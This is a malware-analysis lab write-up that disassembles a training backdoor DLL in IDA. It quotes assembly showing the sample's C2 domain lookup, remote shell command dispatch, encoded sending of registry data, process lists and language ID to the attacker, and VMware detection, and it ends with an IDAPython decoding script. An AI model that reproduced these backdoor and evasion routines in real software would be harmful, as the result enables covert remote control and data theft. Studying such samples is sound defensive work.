We can locate DllMain in the Functions window. The function is located at 0x1000D02E in the .text section.

Open the Imports window and use Ctrl+F to search for gethostbyname.
The function belongs to the WS2_32 library and its IAT entry is located at 0x100163CC in the .idata section.
Select gethostbyname in the imports list and press X to view its cross‑references.
IDA shows 18 references, but only 9 of these are actual call sites.
This is because each call generates two references:
Thus, 18 references correspond to 9 real callers.

mov eax, off_10019040 ; "[This is RDO]pics.praticalmalwareanalys"...
add eax, 0Dh ; skip prefix
push eax ; name
call ds:gethostbyname
Although the domain is visible in the string, the code uses a small trick:
This kind of prefix obfuscation is a simple evasion technique to prevent static scanners or AV engines from flagging the domain, since the full literal string is not a valid hostname. Only by analyzing the code do we see which DNS request is actually made.
My version of IDA pro detected 23 local variables and one parameter (lpThreadParameter being a function arg):

The string is located at offset 10095B34. Examining its references shows it is used only once, at .text:100101D0. Around this location, you can see a sequence of memcmp calls, each comparing the received command buffer with a stored keyword (such as “quit”, “exit”, “cd”, etc.). Each failed comparison leads to a jump to the next one, forming a switch-like command-dispatch structure.
Before entering this command-switching logic, the program compares a value stored in EBX against dword_1008E5C4. This comparison determines whether the program pushes “\cmd.exe /c ” or “\command.exe /c ” onto the stack. Earlier in the function, we see xor ebx, ebx, which sets EBX to 0, so the decision is driven by the value stored in dword_1008E5C4.
Cross-referencing that global shows it holds the return value of the following function:
; Attributes: bp-based frame
sub_10003695 proc near
VersionInformation= _OSVERSIONINFOA ptr -94h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+VersionInformation]
mov [ebp+VersionInformation.dwOSVersionInfoSize], 94h
push eax ; lpVersionInformation
call ds:GetVersionExA
xor eax, eax
cmp [ebp+VersionInformation.dwPlatformId], 2
setz al
leave
retn
sub_10003695 endp
This function performs a basic OS version check. It sets EAX = 1 if dwPlatformId == 2, otherwise EAX = 0. (In WinAPI, platform ID 2 (VER_PLATFORM_WIN32_NT) indicates an NT-family OS such as Windows NT, 2000, XP, Vista, 7, 8, 10, etc.)
Therefore, if the victim system belongs to the NT family, “\cmd.exe /c ” is pushed; otherwise “\command.exe /c ” is used. The conditional push determines which shell interpreter the malware launches, since older Windows versions used command.exe instead of cmd.exe.
From this, we can conclude that after selecting the correct shell program, the malware continues listening to its C2 server, compares incoming payloads against multiple known commands, and executes the corresponding handler.
Further up in the disassembly, near the program’s entry point, we find another interesting clue: a set of strings pushed onto the stack, including:
b 'Hi,Master [%d/%d/%d %d:%d:%d]',0Dh,0Ah
xdoors_d:10095B44
xdoors_d:10095B63 db 'WelCome Back...Are You Enjoying Today?',0Dh,0Ah
xdoors_d:10095B8B db 0Dh,0Ah
xdoors_d:10095B8D db 'Machine UpTime [%-.2d Days %-.2d Hours %-.2d Minutes %-.2d Secon'
xdoors_d:10095BCE db 'ds]',0Dh,0Ah
xdoors_d:10095BD3 db 'Machine IdleTime [%-.2d Days %-.2d Hours %-.2d Minutes %-.2d Seco'
xdoors_d:10095C14 db 'nds]',0Dh,0Ah
xdoors_d:10095C1A db 0Dh,0Ah
xdoors_d:10095C1C db 'Encrypt Magic Number For This Remote Shell Session [0x%02x]',0Dh,0Ah
xdoors_d:10095C59 db 0Dh,0Ah,0
This strongly suggests that the malware prepares a formatted “welcome banner” for the attacker, likely including system uptime, idle time, and an “encryption magic number,” hinting at some form of session-specific encryption or obfuscation being used in its communication protocol.
The function sub_100052A2(SOCKET s) is then invoked. It begins by clearing several stack buffers and preparing local variables. Immediately afterward, it issues a call to RegOpenKeyExA, using an interesting set of parameters:
lea eax, [ebp+phkResult]
push eax ; phkResult
push 0F003Fh ; samDesired
push 0 ; ulOptions
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVe"...
push 80000002h ; hKey (HKEY_LOCAL_MACHINE)
call ds:RegOpenKeyExA
This call attempts to open the registry path SOFTWARE\Microsoft\Windows\CurrentVersion under HKEY_LOCAL_MACHINE (0x80000002), requesting full access (0xF003F). The resulting handle is stored in the variable phkResult.
The function then queries a specific registry value named WorkTime:
push eax ; lpcbData
lea eax, [ebp+Data]
mov ebx, ds:RegQueryValueExA
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push 0 ; lpReserved
push offset aWorktime ; "WorkTime"
push [ebp+phkResult] ; hKey
call ebx ; RegQueryValueExA
Here, RegQueryValueExA retrieves the value of WorkTime, writing its contents into the Data buffer and its type into Type. If the query succeeds, the function proceeds to format the retrieved information and send it back to the attacker’s server over the provided socket. We should not that this time, the function called to send the data does some encoding before.
mov bl, [eax+ecx]
add bl, byte ptr dword_1008E5D0
mov [ecx], bl
inc ecx
dec [ebp+len]
It basically takes a buffer and its size as an input, and then keeps iterating over its content, adding a global key to each byte. It then null-terminates the encoded buffer and send over the specified socket.
The PSLIST function begins by checking the host OS version using a dedicated function that verifies whether the system is Windows NT version 5 or higher. A major version of 5 or greater corresponds to Windows 2000 (5.0), Windows XP (5.1), Windows Server 2003 (5.2), Windows Vista (6.0), and newer.
If the OS version is older than 5, the function simply performs cleanup and exits. If the host OS is supported, PSLIST proceeds to either call sub_1000664C when the Str parameter is non-empty, or sub_10006518 when the Str parameter is empty. Let us focus first on sub_1000664C.
From the start, sub_1000664C allocates a large stack frame using __alloca_probe:
mov eax, 1634h
call __alloca_probe
This hints that the function is designed to handle a significant amount of data, potentially for process enumeration or exfiltration. Immediately afterward, multiple buffers and local variables are cleared in preparation for a call to the Windows API CreateToolhelp32Snapshot.
CreateToolhelp32Snapshot is a standard API used to take a snapshot of all processes, threads, or modules in the system. It returns a handle that allows subsequent enumeration with functions such as Process32First and Process32Next. While legitimate for system programming, malware often leverages it for tasks like process injection, hiding from analysis, or gathering detailed host process information. If the API call fails (returning -1), the function retrieves the error code via GetLastError, formats it into a string (“CreateToolhelp32Snapshot Fail:Error %d”), and sends it to the attacker’s server using the remote_send function.
If the snapshot creation succeeds, the function proceeds normally, but there is an additional behavior controlled by the global flag dword_1008E5BC. This flag is modified only by PSLIST, it is set to 1 at the beginning of PSLIST and reset to 0 just before the function exits. Essentially, the flag indicates whether sub_1000664C was invoked by PSLIST. In practice, however, since sub_1000664C is only ever called by PSLIST throughout the code, this flag is effectively redundant. We can safely conclude that the function’s “extra behavior” will always execute during normal operation.
This extra behavior includes logging output to a local file as well as sending information over the network. Before calling the logging function, the header message is prepared and pushed onto the stack:
push offset aA ; "a"
push offset aXinstallDll ; "xinstall.dll"
call ds:fopen
mov esi, eax
Here, the malware opens or creates a file named xinstall.dll and prepares to append data. The DLL extension is misleading and likely intended to disguise the file as a legitimate system file while actually being a hidden log for the malware.
The core functionality of sub_1000664C then involves enumerating processes. The snapshot handle (hSnapshot) is passed to Process32First to retrieve the first process entry. The function fills a PROCESSENTRY32 structure (pe) with details of the process, including the executable name (szExeFile). This name is compared to the Str argument using strnicmp to check for a partial match. If the process name does not match, the function retrieves the next process using Process32Next and repeats the check until all processes are enumerated.

When a process matches the Str filter, var_8 and var_1634 (a pointer to a module array) and its maximum size (1000) are pushed to the stack for a call to EnumProcessModules. Subsequently, GetModuleFileNameExA retrieves the full path of the main module (the process executable) into a preallocated buffer. The function then formats the process ID, name, and thread count into a payload string, for example “1234 notepad.exe 7”, and sends it to the attacker using remote_send. The full path of the executable is also sent in a separate message:

In summary, sub_1000664C enumerates host processes, filters them using the Str argument, retrieves the main executable for any matches, and sends this data to the attacker while also logging it locally in xinstall.dll.
On the alternative branch of PSLIST, when Str is empty, a different function (sub_10006518) is called. The initial setup, including buffer preparation and CreateToolhelp32Snapshot, remains largely the same. In this case, however, Process32First and subsequent enumeration store all process data directly to xinstall.dll without sending it over the network. This suggests the alternative branch is primarily used for local logging or staging process information rather than exfiltration.
; Attributes: bp-based frame
; int __cdecl sub_10004E79(SOCKET s)
sub_10004E79 proc near
Buffer= byte ptr -400h
var_3FF= byte ptr -3FFh
s= dword ptr 8
push ebp
mov ebp, esp
sub esp, 400h
and [ebp+Buffer], 0
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_3FF]
rep stosd
stosw
stosb
call ds:GetSystemDefaultLangID
movzx eax, ax
push eax
lea eax, [ebp+Buffer]
push offset aLanguageId0xX ; "\r\n\r\n[Language:] id:0x%x\r\n\r\n"
push eax ; Buffer
call ds:sprintf
add esp, 0Ch
lea eax, [ebp+Buffer]
push 0
push eax ; Str
call strlen
pop ecx
push eax ; len
lea eax, [ebp+Buffer]
push eax ; int
push [ebp+s] ; s
call sub_100038EE
add esp, 10h
pop edi
leave
retn
sub_10004E79 endp
Basically this function clears out a 1024 bytes buffer, then calls GetSystemDefaultLangID windows API which will return the 16 bits value to the AX register. This value is then pushed onto the stack, with a premade message template saved at aLanguageId0xX, and spritnf is then called to format the string and create the payload to be then sent over the socket by the sub_100038EE function. This is basically another step in reconnaissance with which the malware will inform the C2 of the host’s default language.
DllMain calls strncpy, strnicmp, CreateThread, and strlen directly. At a depth
of 2, it calls a variety of API calls, including Sleep, WinExec, gethostbyname,
and many other networking function calls.

mov eax, off_10019020 ; "[This is CTI]30"
add eax, 0Dh
push eax ; String
call ds:atoi
imul eax, 3E8h
pop ecx
push eax ; dwMilliseconds
call ds:Sleep
After the first two instructions, the eax register points to 30. atoi is then called which will format the string to integer 30, which is then multiplied with 3E8 (1000 in decimal) for the result 30000ms.
The call sequence is:
push 6 ; protocol
push 1 ; type
push 2 ; af
call ds:socket
socket takes parameters in this order: SOCKET socket(int af, int type, int protocol)
So the pushed values correspond to:
While searching for all occurrences of the byte value 0xED, we find it appears only once, at address 0x100061DB, inside the instruction sequence:
mov eax, 564D5868h
mov ebx, 0
mov ecx, 0Ah
mov edx, 5658h
in eax, dx
Converting the constant 0x564D5868 into ASCII reveals the string “VMXh”, which is a well‑known magic value used in VMware detection routines. The combination of loading this magic constant into EAX and performing an IN instruction on port 0x5658 is a classic VMware I/O backdoor check.
This allows us to conclude that the malware includes a virtual machine detection mechanism, specifically designed to detect whether it is running under VMware.
import ida_kernwin
import ida_bytes
sea = ida_kernwin.get_screen_ea()
for i in range(0x00, 0x50):
b = ida_bytes.get_byte(sea + i)
decoded_byte = b ^ 0x55
ida_bytes.patch_byte(sea + i, decoded_byte)
This script will basically loop through each char, starting from the cursor, and xor each byte with 0x55. We can now see readable chars. Pressing a we now can see the whole string “xdoor is this backdoor, string decoded for Practical Malware Analysis Lab :)1234”